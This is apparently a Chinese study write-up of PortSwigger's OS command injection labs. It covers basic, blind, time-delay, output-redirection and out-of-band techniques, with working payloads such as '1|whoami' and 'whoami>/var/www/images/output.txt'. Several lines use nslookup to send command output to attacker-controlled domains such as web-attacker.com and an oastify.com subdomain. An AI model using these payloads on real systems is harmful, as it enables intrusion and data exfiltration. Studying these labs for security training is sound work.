https://portswigger.net/web-security/os-command-injection#what-is-os-command-injection
操作系统命令注入也称为 shell 注入。它允许攻击者在运行应用程序的服务器上执行操作系统 (OS) 命令,通常会完全破坏应用程序及其数据。通常,攻击者可以利用操作系统命令注入漏洞来危害托管基础设施的其他部分,并利用信任关系将攻击转向组织内的其他系统。
### 使用要求:
该实验室的产品库存检查器中 存在操作系统命令注入漏洞。
应用程序执行包含用户提供的产品和商店 ID 的 shell 命令,并在响应中返回命令的原始输出。
要解决本实验,请执行whoami命令以确定当前用户的名称。
### 实验操作:
使用 Burp Suite 拦截并修改检查库存水平的请求。
修改storeID参数,为其指定值1|whoami。
请注意,响应包含当前用户的名称。
### 实验要求:
该实验室在反馈功能中 包含操作系统盲命令注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。
为了解决这个实验室问题,利用操作系统盲命令注入漏洞造成 10 秒的延迟。
### 实验操作:
使用Burp Suite拦截并修改提交反馈的请求。
修改email参数,改为:
email=x||ping+-c+10+127.0.0.1||
请注意,响应需要 10 秒才能返回。
### 实验要求:
该实验室在反馈功能中 包含操作系统盲命令注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。命令的输出不会在响应中返回。但是,您可以使用输出重定向来捕获命令的输出。有一个可写文件夹:
/var/www/images/
应用程序从此位置提供产品目录的图像。您可以将注入命令的输出重定向到此文件夹中的文件,然后使用图像加载 URL 检索文件的内容。
要解决该实验,请执行whoami命令并检索输出。
### 实验操作:
使用Burp Suite拦截并修改提交反馈的请求。
修改email参数,改为:
email=||whoami>/var/www/images/output.txt||
现在使用 Burp Suite 拦截并修改加载产品图像的请求。
修改filename参数,将值更改为您为注入命令的输出指定的文件的名称:
filename=output.txt
观察响应包含注入命令的输出。
使用proxy开启拦截:一步一步找到查看图像的包:
查看命令输出结果:
### 实验要求:
该实验室在反馈功能中 包含操作系统盲命令注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
要解决该实验室问题,请利用操作系统盲命令注入漏洞向 Burp Collaborator 发出 DNS 查找。
### 实验操作:
使用Burp Suite拦截并修改提交反馈的请求。
修改email参数,改为:
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
右键单击并选择“插入 Collaborator 负载”以在修改的email参数中指示的位置插入 Burp Collaborator 子域。
###
5、利用带外(OAST)技术
1、简述:
可以使用一个注入命令,该命令将触发与您使用OAST技术控制的系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
此有效负载使用nslookup命令对指定的域进行DNS查找。攻击者可以监视指定查找的发生,从而检测到命令已成功插入。
2、带外通道还提供了一种从注入命令中提取输出的简单方法:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致对攻击者的域进行DNS查找,该域包含whoami命令:
wwwuser.kgji2ohoyw.web-attacker.com
###############
##
payload:email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
collaborator生成:zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com
email=x||nslookup+`whoami`.zil6so7cbkpvszmjvnkp0v2v3m9dx3ls.oastify.com||
### 实验要求:
该实验室在反馈功能中 包含操作系统盲命令注入漏洞。
应用程序执行包含用户提供的详细信息的 shell 命令。该命令是异步执行的,对应用程序的响应没有影响。无法将输出重定向到您可以访问的位置。但是,您可以触发与外部域的带外交互。
要完成该实验,请执行whoami命令并通过 DNS 查询将输出渗透到 Burp Collaborator。您需要输入当前用户的名称才能完成实验。
### 实验操作:
使用Burp Suite Professional拦截并修改提交反馈的请求。
转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
修改email参数,将其更改为如下所示,但在指示的位置插入您的 Burp Collaborator 子域:
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
返回“协作者”选项卡,然后单击“立即投票”。您应该会看到一些由应用程序发起的作为负载结果的 DNS 交互。如果您没有看到列出的任何交互,请等待几秒钟然后重试,因为服务器端命令是异步执行的。
请注意,命令的输出出现在交互的子域中,您可以在“协作者”选项卡中查看该输出。所查找的完整域名显示在交互的“描述”选项卡中。
要完成实验,请输入当前用户的名称。
### 【Burp系列】超全命令执行漏洞实验总结
https://mp.weixin.qq.com/s/CFy93BOGOfh_6Qb5yL6M6w
### payloadallthethings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
### owasp命令执行:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection